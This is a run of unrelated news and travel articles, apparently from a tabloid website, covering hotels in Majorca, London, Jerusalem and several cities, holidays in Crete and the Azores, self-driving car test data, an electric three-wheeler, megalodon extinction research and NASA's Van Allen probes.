The UGT and CCOO say putting more beds in rooms is the main cause of overworking and stress for already under-strain staff.

The UGT and CCOO unions in the Balearics say many three-star establishments are putting two extra beds in a double room. Pictured is a beach in the Majorcan resort town of Magaluf (stock image)

They point out that there is a growing trend for people to spend shorter holidays of five to six days rather than a fortnight so the turnover is quicker and there is more cleaning for chambermaids to do.

By law, hotels can only put in extra beds to accommodate children under 12 years of age or cots for children less than two years old.

The law says that having unauthorised beds and guests can present a security risk in an emergency.Advertisement

Work has begun on a 1billion project to transform the former iconic US embassy in London into a luxury hotel.

The building, which stands in the middle of Grosvenor Square in the centre of the capital, was sold by the United States government after it moved to new premises elsewhere in the city.

Now the first phase of construction has started on transforming the grade II-listed embassy into a 137-room property, which will be known as 30 Grosvenor Square and run by Rosewood Hotels.

An artists impression showing what the former embassy building in central London will look like when its has been transformed into a hotel

British architect Sir David Chipperfield will oversee the interior design. Above is an artist's impression of how one of the restaurants will look when completed

The former embassy in central London's upmarket Mayfair area, pictured earlier this year. It opened in 1960 before staff moved to a new building in south London

When finished in 2023, it will boast five restaurants, six retails units, a spa and a ballroom, which will be able to hold up to 1,000 guests.

Artist's impressions show how the distinctive facade of the building will remain while the inside will be completely transformed.

Developers Qatari Diar own the building and have appointed British architect Sir David Chipperfield to oversee the interior design.

Rosewood Hotels said the design of the hotel will 'delicately showcase the mid-20th century heritage of the building, combining traditional and contemporary craftsmanship through exquisite and refined interiors'.

Abdullah Al Attiyah, CEO of Qatari Diar, said: 'The opportunity to transform such an iconic address is something that only happens once in a lifetime and we are extremely proud to be responsible for it.

'We recognise the history of the building and are dedicated to sensitively redeveloping the former U.S Embassy into a new destination on Grosvenor Square.'

The facade of the well-known building will remain the same but will be totally transformed inside. The total project will cost 1billion

The former embassy in central London's upmarket Mayfair area opened in 1960 after the 4th Duke of Westminster, who owned the land where it stands, leased the plot to the US government.

In 2008, when President Barack Obama was in office, it was announced the embassy would be moved to a brand new building in the Nine Elms area of Wandsworth in south London.

The old building was then put up for sale, and MailOnline later revealed that it went for just 315m ($431m) - far below the 500 million ($687 million) experts estimated.

But the move has proved controversial with current US president Donald Trump, who claimed the new embassy is in a 'horrible location' and said he would refuse to officially open it.

The new US embassy building in the Nine Elms area of Wandsworth. It has proved controversial with current US president Donald Trump, who claimed the new embassy is in a 'horrible location'

Speaking at a rally in Michigan last year, he told supporters: 'In the UK, in London, we had the best site in all of London. The best site.

'Well, some genius said, we're gonna sell the site and then we're going to take the money and build a new embassy...

'They go out and they buy a horrible location. And they build a new embassy. That's the good news. The bad news is it cost over a billion dollars.

'By the way, they wanted me to cut the ribbon on the embassy and I said I'm not going. I don't wanna do it. I said, "I'm not cutting that ribbon." I said "I'm not going."'Advertisement

Holiness is perhaps an under-rated quality in a hotel. What with the worldly trappings of room service, valet parking and chocolates on pillows  not to mention the Satanic temptation of mini-bars  they are normally unabashed temples of fleshly delights.

The Mamilla Hotel in Jerusalem, however, is different. Dont get me wrong: as a cornucopia of indulgence, with a spa, pool, sundeck, exquisite restaurants and winery, it is hardly a sackcloth-and-ashes sort of dive.

But the Mamilla is just a stones throw from the Old City. Step out of the expansive, air-conditioned foyer into the bright sunshine, nod to the attentive doormen, wander for five minutes through ancient, butter-coloured stone walkways, and you will find yourself standing at what millions believe is the holiest site on earth.

The Western Wall and the Dome Of The Rock can both be seen from the Mamilla terrace

The courtyard of the Mamilla Hotel is a place of peaceful contemplation as well as luxury

The hotel's cuisine offers a taste of top quality food in an oasis of ancient holiness

The Western Wall plaza, just a short walk from the hotel, is the holiest site for Jews

The magnificent Dome Of The Rock is well worth a visit, though non-Muslims are barred entry

One of the comfortable lounges at the Mamilla Hotel, where you can unwind in the coolness

Ladies and gentlemen, I give you the Western Wall, the hotel seems to say (you can see the Old City from the roof terrace). As the last remaining wall of the Second Temple, this is the most sacred location where Jews are currently permitted to pray.

The Dome of the Rock, just behind the wall, is the third-holiest place for Muslims, on account of Mohammad using it as a starting point for his ascent to heaven.

The Old City is also home to the cavernous Church of the Holy Sepulchre, which is said to lie on the site of Jesus crucifixion and to contain the tomb from which he resurrected.

A days sightseeing is easily swallowed up in the ancient alleyways. Tourists can visit the Western Wall and Dome of the Rock compound most days, but check that there arent any demonstrations or festivals going on.

You thread your way through the narrow alleyways of the Muslim Quarter, climb and descend several flights of stone steps, and emerge from the maze into the blinding sunlight of the Western Wall Plaza.

Women should avoid showing too much skin. Skullcaps are provided for men who have not come prepared, and you are free to wander in and out of impromptu prayer sessions or simply sit with your thoughts.

There is a tradition of slipping personal prayers on paper into the cracks in the wall. Many people take notes from friends and family back home to deliver on their behalf.

The Church Of The Holy Sepulchre, one of Christianity's holiest sites, is nearby

One of the rooms at the Mamilla Hotel where temporal pleasures meet spiritual surroundings

The hotel's terrace, which serves excellent food in the open air, late into the night

The hotel even boasts an excellent winery, where tastings are regularly held for guests

A handful of beggars can always be found around the Western Wall  or rather, they can always find you.

Theres no telling how genuine they are, but make your decision early: either give them some small change or wave them away early. Oscillation and equivocation make things worse.

The Dome of the Rock compound, with its unique golden cap that dominates the Jerusalem skyline, can be accessed via a wooden walkway. One of the worlds oldest examples of Islamic architecture, it was built around a stone believed to be where Abraham tried to sacrifice his son, Isaac.

The hotel swimming pool provides an opportunity to unwind after a hard day of sight-seeing

Both breathtaking and iconic, it is well worth a visit  though non-Muslims are not allowed to pray or make any religious displays in the compound, and are barred from the Dome building itself.

In addition to the extraordinary Church of the Holy Sepulchre, nearby Christian sites include the Via Dolorosa, where the 14 Stations of the Cross are marked. Where monotheism is concerned, you could not get any holier.

But the Old City, with its teeming devotees of different traditions and faiths, makes for an intense visit, particularly during the spring and summer months when the sun can be fierce.

It also demands much walking, as vehicles have very limited access inside.

What a relief, therefore, to leave one of the ancient arched gates and arrive  after just five minutes amble  in the cool embrace of Mamilla.

Many of the hotels rooms boast spectacular views of the Old City, as does the lovely rooftop restaurant. Breakfast, in the vast lower floor dining area, is extensive and spectacular, offering Israeli shakshuka, cheeses and vegetables alongside European treats.

On the roof, where shade is afforded by carefully-placed hanging parasols, the food is gourmet with a precise attention to detail. Hot food is not served on Saturdays, the Jewish sabbath, but given the climate, the menu of sushi and salad is very welcome.

The spa is extensive and ideal for relaxing after a hard days sightseeing, and the winery and bars offer perfect backdrops for evenings of indulgence.

This is an outpost of temporal indulgence in a haven of spirituality. For those of us who are more epicurean than renunciate, could there be a better way to visit God?The Greeks like to say that Chania is their version of Venice. But there are no canals or exorbitantly priced shoes and you dont keep getting lost, so its a gross exaggeration.

Even so, its narrow streets crammed with wispy clothes boutiques and jewellery dens and the pretty waterfront clustered with yellowing, Italianate buildings do have a Venetian feel.

Which is perfectly understandable given that Crete was ruled by Venice from 1204 (it took them eight years to seize total control) to 1669.

Sparkling: Chania in Crete (above), which 'Greeks like to say is their version of Venice'

And its a good place to begin your Crete experience.

The women can buy floaty numbers for beach cover-ups and a bit of funky jewellery that theyll probably never wear again. The men can treat themselves to a decent pair of shorts that arent emblazoned with palm trees or skulls.

In among the cafes in one of Chanias backstreets, we found what looked like a pet shop with lots of little fish in tanks. It turned out you didnt buy the creatures, you put your feet in among them.

Now, I thought I was going to Crete to eat lots of snapper, not for their offspring to eat me. But the sensation was quite tingly and pleasant (and a lot less painful and embarrassing than a pedicure) and afterwards I emerged with one pair of vaguely presentable feet. Well, sort of.

That was a good start and Chania, connected to the rest of Crete by a new, largely empty motorway, is a great point from which to explore the less populous parts of the island.

We stayed in an architect-designed three-bedroom villa with complimentary brunch chef (courgette pie her speciality) set in olive groves 15 minutes from the hubbub.

LOCAL KNOWLEDGE The water in Crete is so clear because there is no algae, which would usually make the sea green. Advertisement

The owner, Despina, is your willing personal concierge. On her recommendation we drove west, arriving at the wide sweep of Falassarna beach in half an hour. Everyone raved about this spot, but we gave it 6/10. It was a wider version of Sandown in the Isle of Wight and windier.

We headed inland and the road climbed through pine forests and sleepy hamlets, at any of which you can get a strong coffee and the Cretan speciality Spanakopita (spinach pie.)

The road clung to the side of towering canyons, some of which you can hike down. At the dramatic Topolia Gorge there is a parking place just after the village from where you can admire the view, be seduced by the chime of a goats bell and a vendor trying to sell you honey, and walk up 200 stone steps to a small chapel in a cave.

A short drive from there is Milia Mountain Retreat, a restored 17th century village that is now an ecolodge (which basically means no Wi-fi.) Back in the car, a half-hour winding descent brings you to the Elafonisi peninsula. This is regularly featured in the worlds top 20 beaches.

Fishy business: Simon Hughes has a pedicure courtesy of a fish tank

It is good because there is plenty of parking, lots of different sections  some with beach umbrellas some without  and the watersports enthusiasts, who these days seem to be mainly surfers hanging from kites, have their own separate lagoon to career about in.

It is not a beach polluted by the relentless drone of chill-out music either. The water is ridiculously clear. But the pink sand for which Elafonisi is famous has mainly disappeared. On a Sunday in mid-June it wasnt overcrowded.

Another day we headed east of Chania to Seitan Limania, (Satans beach) so named because it is a devil to find. You go round the back of a small mountain, left at a cottage, right at a tiny church and take a twisty, precipitous drive to the top of a cliff. It is not for the faint-hearted.

From the small car park, you descend an awkward path, clambering over boulders and across scree and make it to a divine little beach hemmed in by sheer cliffs and populated mainly by young, fit Greeks (and the odd goat.) It is the most awe-inspiring place I have ever swum. I was glad Id had my feet done.

After the return journey, we needed a good feed. And that is where Chania really delivers. We finally got to eat some fish, sitting on a sun-dappled roof-terrace of the old city palazzo (Pallas) overlooking the harbour. The grilled octopus with a mash of Santorini fava beans was outstanding.

Theres more than enough to do in Crete to keep you happy for a week (we didnt manage to fit in the wine-tasting, or the sailing lessons or the boat trip to remote Balos Beach), and the food is healthier and more varied than I was expecting, even if they do stuff cheese in everything.

All this for the price of a weekend in Venice.Yotel in Singapore offers space-efficient 'cabins' where the beds turn into sofas at the press of a button

For example, the CitizenM in New York may now be in your budget - but don't expect a pillow chocolate

'Lean luxury hotels are breaking the mould by ditching fripperies and offering high-end services at low rates

Advertisement

Until now, visitors to great cities had a harsh choice: costly five-star comfort or a scruffy budget option.

Now lean luxury hotels are breaking the mould with high-end services at low rates. The key? Ditch fripperies and go for streamlined style.

Here are eight hotels setting the pace

YOTEL, SINGAPORE

Take the plunge: The pool at Yotel in Singapore where guests can order food or drink from their poolside sunbeds

Intended for short city centre stays, Yotels deliver luxury fundamentals in hi-tech bedrooms. Known as cabins, they contain rain showers, ambient lights and smart TVs which can be connected to guests devices.

Most Yotels, including its Singapore base  the brands first Asian residence  feature a 24-hour gym and a lounge. Cute robots Yolanda and Yoshi check in guests and will even deliver your room service order.

USP: Cabins are small but space-efficient, thanks to whizzy, gel-mattress SmartBeds, which shrink into sofas at the touch of a button.

All change: Beds at Yotel turn into a sofa at the press of a button. The rooms are known as 'cabins' and contain rain showers

Favourite features: Unlike other Yotels, the one in Singapore contains a slender outdoor pool. Guests can order food or drink from their poolside sunbeds.

Book in: Cabins cost from 96 a night, or slightly less for members of Club Yotel.

yotel.com

CITIZENM - AMSTERDAM AND NEW YORK

COMPACT: A room at CitizenMs Bowery site in New York. There are absolutely no trouser presses or pillow chocolates

Absolutely no trouser presses, bellboys, towel swans or pillow chocolates.

Thats the promise of Dutch brand CitizenM, which keeps prices down via its modular concept  every room is identical.

But while compact, the rooms still include extra large beds and luxury linen, rain showers, adjustable mood lighting and gaze-worthy wall-to-wall windows  perfect for taking in those views across Manhattan.

In CitizenMs classic Amsterdam South base, the humming lobby features an all-day restaurant- bar serving sushi and beer.

Expect bright furniture with humorous mottos on them.

You check in on computer screens and bikes can be rented for free.

USP: Most CitizenM hotels feature large-scale artworks.

On a plaza outside the chains just-opened Bowery skyscraper in New York is a 5,000-square-foot mural.

The bar area at CitizenMs Bowery site in New York is a trendy space featuring brightly coloured artwork and furnishings

Favourite features: Free movies in each bedroom, playable on TVs via iPads which are provided.

Book in: Rooms cost from 81 (72) a night in Amsterdam but a more expensive $320 (250) a night at Bowery.

citizenm.com

LIFE HOUSE, MIAMI

Tropical mansion: The rooftop bar at Little House in Miami, which has an emphasis on unexpectedly low prices

Life House promises chic, classy boutique hotels with the emphasis on unexpectedly low prices. The first, Little Havana, opens its doors on December 18 amid Miamis same-named Hispanic quarter. Its a tropical mansion in which neighbourhood-made art adorns walls, musicians play regular live sets, and local fare is served in the lobby cafe. Every beautiful bedroom, textiled with a faint colonial theme, boast Bluetooth speakers and Le Labo toiletries.

USP: Life Houses own social-media network, which boldly allows guests and (carefully vetted) locals to arrange dinner parties or surf sessions away from the hotel. Members can also meet before sharing high-quality, two-person dorms  with big curtained-off bunks and private bathrooms  from around $50 (about 40) a night.

Favourite features: The buzzy rooftop, packed with plants, houses a cocktail bar and restaurant nattily styled with timber and jade-green tiles, plus a plunge pool.

Book in: Private rooms cost from $107 (84) a night, although $180 (140) is more common.

lifehousehotels.com

NATIVE, GLASGOW

Hotel brand Native has a new property in Glasgow, pictured. It's housed in the Anchor Line Shipping Company's former HQ

Lifestyle is the focus for aparthotel brand Native, which uses interior designers such as Conran, and exclusively renovates iconic city buildings. Its newest hotel is in Glasgow, regenerating the Anchor Line Shipping Companys former HQ by George Square. Many of the Art Deco structures original, opulent features have been retained across 64 studios and penthouses, including terrazzo flooring and attractive timber wall panelling.

USP: Most aparthotels offer little more than the space but Native provides breakfast, and there are two restaurants: a contemporary French bistro with live jazz at weekends, and a seafood specialist in the old first-class booking office.

Favourite features: Big old safes have been cleverly transformed into walk-in wardrobes. Some of the grand original windows were restored by the same family firm which first fitted them in 1906.

Book in: Apartments cost from 77 a night.

nativeplaces.com

MOB HOTEL, PARIS

Out of the box: Pictured is one of the rooms at the MOB hotel, which features eclectic decor

Located beside Europes largest flea market in Les Puces, MOB is less a hotel than a giant social space where one can also sleep in serious comfort  and without spending much. Its styled as a utopian, polymorphous meeting place for the people; a place of ethical ideals, wellness and relentless cultural exchange. Hence the myriad offerings: a 180-seat farm-to-table restaurant, a music stage, a romantic courtyard with evening film screenings, pop-up stores, a fair-trade fashion school, philosophy lectures, and a meditation cabin.

Spacious rooms typify the eclectic decor  think red velvet bedheads and Chinese puppet toys  although the white-tiled bathrooms do lend a dash of serenity. Bigger doubles afford movie screens and patios. MOB will soon expand across Europe and into the United States.

USP: The strict organic ethos extends to an allotment shared with local residents and businesses.

Favourite features: Two rooftop terraces host various classes  yoga, meditation, tai chi, salsa and so on.

Book in: Doubles cost from 99 (88) a night.

mobhotel.com

RUBY LOTTI, HAMBURG

At the Rubi Lotti in Hamburg, pictured, the rooms feature Marshall amps and pale-hued design

Lotti is the latest example of the lean luxury concept by German brand Ruby Hotels. You wont find a restaurant, room service or minibars here. Instead, Lotti offers an organic breakfast buffet, and there are galley kitchens on each floor where you can make yourself a hot drink.

There is an artfully cluttered 24-hour cocktail bar, and a library in which to work  appropriate for a building that was once a publishing house. Live music will follow in an indoor/outdoor waterfront bar terrace, while bikes are available to rent for 10 (about 9) a day.

USP: Guests receive tablets and smartphones preloaded with a city guide, useful apps, and unlimited data and calls.

Favourite features: As well as soundproofing, walk-in showers, massive mattresses and pale-hued design, luxury rooms feature Marshall amps  with guitars loaned for free should you fancy a jam.

Book in: Doubles cost from 99 (88) a night, including breakfast. Ruby Lucy opens on Londons South Bank next autumn.

ruby-hotels.com

MOTTO BY HILTON, LONDON

In 2020, the first outpost of Hiltons funky micro-hotel brand will open on Marylebone Road, London.

Motto promises small but stylishly minimal rooms, where the lighting, temperature, TV content and blackout shades are all controlled by an app. Sleep kits, including essential oils, further ensure quality slumber. Downstairs a cafe-bar will serve premium, London-roasted coffee and food all day.

USP: A split-payment system for large groups, as pioneered by Airbnb, will also be offered.

Favourite features: Flexibility. Mottos four room options feature a traditional, bed-in-the-middle layout, a pull-down Murphy wall bed, a cool corner-bed option, and a corner bed plus a lofted twin bed  raised, bunk-like, and targeted at families. About a third of the rooms have interconnecting doors, so groups can book in a row.

Book in: Prices will be released soon but Hilton has repeatedly promised affordability.

mottobyhilton.comSea Watch shd stay in Catania - Netherlands to Italy

(ANSAmed) - ROME, FEBRUARY 13 - The Netherlands asked Italy Wednesday to keep the Sea Watch NGO migrant rescue ship in the port of Catania where it has been since offloading 47 migrants after a standoff with the EU on January 31.



The request came after an inspection on board the German NGO-run, Dutch-flagged ship on February 11-12.



The request was made to the Italian Coast Guard "pending the conclusion of Dutch authorities' further investigation into the compliance of the ship with norms in force, with reference to the suitability to transport a high number of people for long periods of time".



It is an extraordinary thing to holiday on a volcano. The beaches are black, the springs are hot and the food is cooked by burial in the burning earth. These memories aren't going to melt into all the others when the children are older.

Welcome to the Azores, an archipelago of Portuguese islands marooned in the North Atlantic. In a move that Im told is typical of English teachers, my wife decided to spend half-term walking the South Downs Way with only a fat novel for company.

This meant one thing: my three kids (eight-year-old twins and a 10-year-old) were having a dad holiday. Which meant a further thing: it would be an adventure holiday. Which led us eventually to a cluster of volcanoes in the Atlantic.

The Azores is an archipelago of Portuguese islands marooned in the North Atlantic. Pictured is the three-mile wide crater at Sete Cidades

The Azores boast extraordinary black beaches as a result of the volcanic stone

The scenery is breathtaking around the volcanic craters and makes a perfect adventure setting

Restaurant workers dig up a pot of stew that had been buried in the hot earth to cook

Swimming with dolphins in the deep blue Atlantic was a highlight even for the children

The Azores is a place where all of life stems from the fire in the earth. We plumped for Sao Miguel, the largest island, which lies like a smile-shaped flick of Tipp-Ex about 900 miles off the coast of southern Portugal.

It used to be divided into two separate volcanoes. But back in the mists of time, one of them erupted and the lava formed a bridge and hardened into a single landmass. As I said, in the Azores life depends on volcanoes.

It was a four-hour flight from Britain, almost entirely over the sea. When we arrived, the place was not barren and dusty as Id expected but verdant, with wind-combed foliage carpeting every open space  a feature of the rich volcanic soil.

In the main town, Ponta Delgada, pavements and buildings were hewn out of black lava rock decorated with limestone patterns. Half of the islands energy comes from geothermal sources, just another example of the bounty of the fire in natures belly.

After a decent nights sleep at the four-star hotel our tour guide, Paolo, collected us the next morning in a white minibus that would come to punctuate the weeks activities.

We were eased in with an introduction to volcanic living in Furnas, where we ate stew cooked in the hot earth, wondered at geysers bubbling with sulphur and floated in hot springs coloured orange by the iron deposits.

The weather in the Azores is very temperate. On a good day it can be slightly hotter than the height of an English summer and when it becomes overcast you might need a jumper; but the peaks and troughs are no more extreme than that.

And no mosquitos. The islands were discovered by the Portuguese in 1427 in the true sense, having been formerly uninhabited by any humans, indigenous or otherwise.

As they were so isolated from other landforms, the wildlife was very limited and the new arrivals introduced cattle, new bird species and other animals according to their vision of island paradise.

Obviously this did not include mosquitoes (which seem to plague everywhere these days, even France).

The volcanic energy at Furnas can be seen bursting through the ground in plumes of steam

A group of holidaymakers go whale-watching off the coast of the Azores in the Atlantic

The dolphin swimming took place at sea and we were taken out in a rib to find them

Even children as young as eight can snorkel with dolphins and it is a great challenge

Hiking in the Azores is stunning as the volcanic soil is extremely fertile and rich

It was after experiencing the unique bounty of the volcano that the proper adventures began. First came whale watching. The Azores have a traditional way of spotting them which involves a chap on a hill with a walkie talkie and a pair of binoculars.

It worked. About half-an-hour offshore we were directed south and saw the black body of humpbacks scrolling in loops like sea-monsters. According to the marine biologist who led the trip, they sometimes approach the boat and put on a show.

Not this time, sadly. But nature doesnt always play nice, and it was breathtaking to see them in the wild. And there was always swimming with dolphins.

Ah, the dolphins. This was the real challenge for the kids. We got wet-suited and snorkelled and installed in a plucky rib to be sped out into the sea like a bunch of GNVQ Royal Marine commandos.

The Atlantic was bluer than blue and had quite a swell, and this made our task even more daunting: to wait for the cut of a dorsal fin then hurl ourselves into the depths.

Im proud to say that all three of my children did it. My oldest daughter, who is 10, didnt think twice  her logic was that if people do it every day, why couldnt she?  and at one point a dolphin swam beneath her at a distance of no more than two feet.

As for the twins, who are not so strong swimmers, they both took the plunge for a short time. But they were badly affected by seasickness so the experience was, as they say, slightly sub-optimal.

I had a go too. At that depth you can see nothing but rich, endless blue in all directions through your snorkel mask. From this ghosted three dolphins, appearing white against the darkness, those strange fixed smiles on their faces. The leader turned his eye towards me and I saw the scars on his flanks. Then they were gone.

On land there were other adventures in store. Canyoning  basically jumping off cliffs into water  was quite something, not least because of the high-camp duo who led the activity and referred to us constantly as party people.

Funnily enough, my eldest, who had been so brave in the sea, freaked out when it came to jumping off cliffs. And here the twins came into their own, launching themselves with kamikaze abandon into the air and plummeting into the river below.

Their mother would have had kittens.

There are hundreds of volcanic peaks and craters in the Azores and they make amazing scenes

Sunset on Sete Cidades - a spot Jake and his family hike to on an organised tour

Canyoning was also a highlight as it challenged the children to jump into deep pools

There was also an off-road tour of the island in a fantastic banana-coloured jeep; kayaking on a volcanic lake; mountain biking through beautiful woodland; and a surprisingly interesting tour of an Azorean tea plantation, which against all the odds converted the children to the delights of green tea.

This was sprinkled with a number of visits to liquor factories. The Azores have a strange way with booze. For a start they produce green wine (which can also be found on mainland Portugal), which tastes like white but with added novelty value.

But their main preoccupation is with liquor. It comes in a bewildering array of flavours, from tangerine and chocolate to rice pudding and biscuit, and is so sweet that when you next look in the mirror you expect your teeth to look like stalactites.

Im a seasoned enough traveler, with enough holiday bottles in the drinks cabinet with lids welded shut through disuse, to have resisted the temptation to buy any.

There was one aspect to the package tour that was rather a drag, however. The food. We were continually dragged from one touristy restaurant to another and given standard options of chicken, burgers or fish.

The only Azorean element to the meals was a cream cheese with pepper sauce, which was rather lovely but only whetted my appetite for more.

It got beyond a joke when we visited a restaurant on the beach famed for fresh raw fish  but were told that our deal only covered burgers or chicken.

I found a remedy, however. The itinerary allowed for many free evenings and you should use it to explore the small Azorean restaurants where tourists fear to tread and which will put a plate of whole mackerel in front of your startled kids.

Do you have a pen? Listen carefully now, for Im only going to say this once: Mane Cigano. Youre welcome.Apple's self-driving cars may have a long way to go before they're ready to ride.

That's one of the takeaways from a new report published Wednesday by California's Department of Motor Vehicles, which includes data on all the companies testing self-driving vehicles in the state.

Among the other firms included the report are Google's Waymo, Uber, General Motors and BMW.

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Apple's self-driving cars may have a long way to go before they're fully autonomous, as a new report from California's DMV showed it had the highest disengagement rates of any firm there. Apple has been testing autonomous cars for years with its self-driving Lexus SUVs (pictured)

COMPANIES WITH THE TOP PERFORMING SELF-DRIVING TESTS A new report from California's DMV logs the 'disengagement rates' for companies testing self-driving cars in the state. Disengagements refer to cases where a human is required to take the wheel in an autonomous vehicle. The companies with the lowest disengagement rates were: Waymo - 0.09

GM's Cruise division - 0.19

Zoox - 0.5

Nuro - 0.97

Pony.AI - 0.98 Advertisement

Apple has been quietly testing autonomous vehicles for a few years, with its self-driving Lexus SUVs first hitting the streets of Cupertino in 2017.

Its efforts in this area are believed to be housed under the secretive 'Project Titan' team, from which Apple cut 200 jobs last month.

The new data from the DMV marks the first time Apple has filed a disengagement report in the state, according to MacRumors.

Unfortunately, the results aren't looking great.

Apple's self-driving SUVs reported 871.65 disengagements per 1000 miles, which equates to about one disengagement for every mile.

Disengagements refer to cases where a human is required to take the wheel in an autonomous vehicle.

The data accounts for any tests performed between December 2017 and November 2018.

Among the other companies with high disengagement rates were Baidu, Honda, Mercedes-Benz and Nissan.

Despite its high rate of disengagements, at least Apple is logging miles in the state, with 79,745 miles driven during the aforementioned span.

Apple's self-driving SUVs reported 871.65 disengagements per 1000 miles, which equates to about one disengagement for every mile. Waymo, meanwhile, had far fewer disengagements

Tesla, by comparison, reported zero miles in the state, despite CEO Elon Musk's claims that it plans to have fully self-driving vehicles available this year.

'For Reporting Year 2018, Tesla did not test any vehicles on public roads in California in autonomous mode or operate any autonomous vehicles, as defined by California law,' Al Prescott, Tesla's deputy general counsel and director of regulatory affairs, wrote in a letter to California's DMV.

'As such, the Company did not experience any autonomous mode disengagements as part of the Autonomous Vehicle Tester Program in California.'

By far the best performer in the report was Waymo, owned by Google parent company Alphabet, which saw a comparatively lower disengagement rate per each mile.

'Across the millions of urban miles weve driven on California roads, our disengagement rate dropped to 0.09 per 1,000 self-driven miles in 2018 (or 1 disengage per 11,017 miles self-driven),' Waymo wrote in a blog post.

By far the best performer in the report was Waymo, owned by Google parent company Alphabet, which saw a comparatively lower disengagement rate per each mile.

Waymo says it was able to triple the number of miles its self-driving vans (pictured) drove in the state, logging 1.2 miles in California last year, up from 352,000 miles in 2017

'Its a 50% reduction in the rate and a 96% increase in the average miles traveled between disengagements from the previous year.'

Waymo says it was able to triple the number of miles it drove in the state, logging 1.2 miles in California last year, up from 352,000 miles in 2017.

'A lower rate of disengagements shows that our cars are getting better at recognizing and handling a wide variety of driving situations, including edge cases across the cities weve been testing in: those unusual situations that a human driver might see only once (or never) in a lifetime of driving,' Waymo explained.

'...The way to keep learning and improving so this technology can scale is to give our self-driving vehicles as many robust and varied types of experiences and uncover as many of those edge cases as we possibly can.'

As Engadget noted, even though Waymo's disengagement rate beat out competitors, it doesn't mean the firm's self-driving cars are leaps and bounds ahead of others.

A rate of 0.09 means humans still intervened once every 11,154 miles, which means its autonomous vans continue to experience errors in a variety of scenarios.A potential manufacturing deal between a futuristic new electric car company and a condemned General Motors plant may help save both jobs and the environment.

According to Bloomberg, Electra Meccanica Vehicles Corp. is in talks to begin manufacturing its cutting-edge three-wheeled car, 'Solo,' in Oshawa, Ontario - where 3,000 people were slated to be laid off as a part of GM's global restructuring.

The firm has made a big splash with its single-rider electric vehicle over the past few years, and has so far logged 23,000 reservations form the public as of last December.

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Vancouver-based Electra Meccanica Vehicles said it is considering a deal to manufacture the Solo, a three-wheeled electric car, in Ontario.

THE SOLO SPECS The Solo has two front wheels and one rear wheel and is 10 feet long, or about 14 inches longer than a Smart car. There's a plug hidden under its license plate. The Solo is powered by a lithium-ion battery that can go 100 miles on a charge. It takes three hours to fully charge the battery using a 220-volt outlet or six hours using a 110-volt outlet. It has a top speed of 80 mph and goes from zero to 60 mph in 8 seconds, which is equivalent to a Toyota Camry Advertisement

Combined with the company's larger model, the Tofino, a two-seat electric vehicle, Solo accounts for a formidable $2.4 billion in backlogged orders overall.

And with the Solo's stature comes an even smaller price tag of just $15,500, that add to a host of other specs.

The Solo is powered by a lithium-ion battery that can go 100 miles on a charge.

It takes three hours to fully charge the battery using a 220-volt outlet or six hours using a 110-volt outlet, and has a top speed of 80 mph, going from zero to 60 mph in 8 seconds.

This is equivalent to a Toyota Camry.

While Solo sales have been steady, adoption of electric vehicles in the U.S. have been far more tepid.

According to the U.S. Census Bureau, 90 percent of commuters in the U.S. travel alone in the car. The Solo (pictured) is powered by a lithium-ion battery that can go 100 miles on a charge

According to the Edison Electric Institute, EEI, an association that represents all U.S. investor-owned electric companies, as of November 2018 there were just 1 million electric cars on U.S. roads, representing about 1 percent of the market.

In the U.S., the road to more widespread adoption of electric vehicles has been in part blockaded by pricing, limitations spurred by a lack of charging infrastructure, and consumers' dearth of information on what their potential options.

Nevertheless, projections for the future of electric vehicles remain optimistic.

Market research from J.P. Morgan released last October estimates that by 2025 electric vehicles and hybrid electric vehicles could account for as much as 30 percent of overall vehicles sales.



A giant predatory shark likely went extinct at least one million years earlier than previously thought, a new study from the US has found.

The 50-foot-long megalodon shark, featured in documentaries, books and blockbuster movies, was thought to have been erased by a supernova 2.6 million years ago.

A team of researchers from North Carolina have however identified problems with fossil data of previous studies and concluded the extinction likely happened a million years earlier.

In the new study, scientists were able to show a continuous line of fossil records using fossils from California and Mexico, up until 3.6 million years ago.

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A giant predatory shark likely went extinct at least one million years earlier than previously thought, according to new research. The Megalodon has inspired numerous documentaries, books and blockbuster movies

The study, led by vertebrate paleontologist Robert Boessenecker from The College of Charleston, examined every fossil found in the densely sampled rocks of the West Coast.

They found a host of problems in individual fossil data of previous records and made extended adjustments which yielded the new date of 3.6 million-years-ago.

Dr. Boessenecker said: 'Most of the dates had several problems-fossils with dates too young or imprecise, fossils that have been misidentified, or old dates that have since been refined by improvements in geology; and we now know the specimens are much younger.

'This substantial adjustment as it means that O. megalodon likely went extinct long before a suite of strange seals, walruses, sea cows, porpoises, dolphins and whales all disappeared sometime about 1-2.5 million years ago.

'The extinction of O. megalodon was previously thought to be related to this marine mass extinction-but in reality, we now know the two are not immediately related,' Boessenecker said.

The new date has greater implications for the mass extinction event thought to have happened 1-2.5 million years ago where killed off seals, walruses, sea cows, porpoises, dolphins and whales, along with the megalodon.

The new study, led by vertebrate paleontologist Robert Boessenecker from The College of Charleston, examined every fossil found in the densely sampled rocks of the West Coast. They found a host of problems in individual fossil data of previous records and made extended adjustments which yielded the new date of 3.6 million-years-ago

The new date has greater implications for the mass extinction event thought to have happened 1-2.5 million years ago where killed off seals, walruses, sea cows, porpoises, dolphins and whales, along with the megalodon. The researchers speculate that competition with the newly evolved modern great white shark is a more likely reason for megalodon's extinction.

WHAT IS THE MEGALODON? The megalodon, meaning big-tooth, lived between 15.9 and 2.6 million years ago. C. megalodon is considered to be one of the largest and most powerful predators in vertebrate history and fossil remains suggest it grew up to 65ft (19 metres) long. It's thought the monster looked like a stockier version of today's much feared great white shark and weighed up to 100 tons. Megalodon is known from fossilized vertebrae and teeth, which are triangular and measure almost eight inches (20cm) in diagonal length. Famed fossil hunter Vito 'Megalodon' Bertucci took almost 20 years to reconstruct a megalodon's jaw - largest ever assembled - which measures 11ft across and is almost 9ft tall. The Megalodon's colossal mouth would have produced a but force of 10.8 to 18.2 tons. The ancient shark has been described as a super predator, because it could swim at high speeds and kill a wide variety of prey such as sea turtles and whales, quickly in its strong jaws. Advertisement

The researchers speculate that competition with the newly evolved modern great white shark is a more likely reason for megalodon's extinction.

'We propose that this short overlap (3.6-4 million years ago) was sufficient time for great white sharks to spread worldwide and outcompete O. megalodon throughout its range, driving it to extinction-rather than radiation from outer space,' added Dr. Boessenecker.

The full report is published in PeerJ--the Journal of Life and Environmental Sciences.NASA's two probes exploring the Van Allen belt are re-positioning themselves closer to Earth in advance of their eventual return to Earth.

One of the twin spacecrafts has started moving towards its lowest point of orbit, called perigee in advance of a future re-entry and death in our atmosphere.

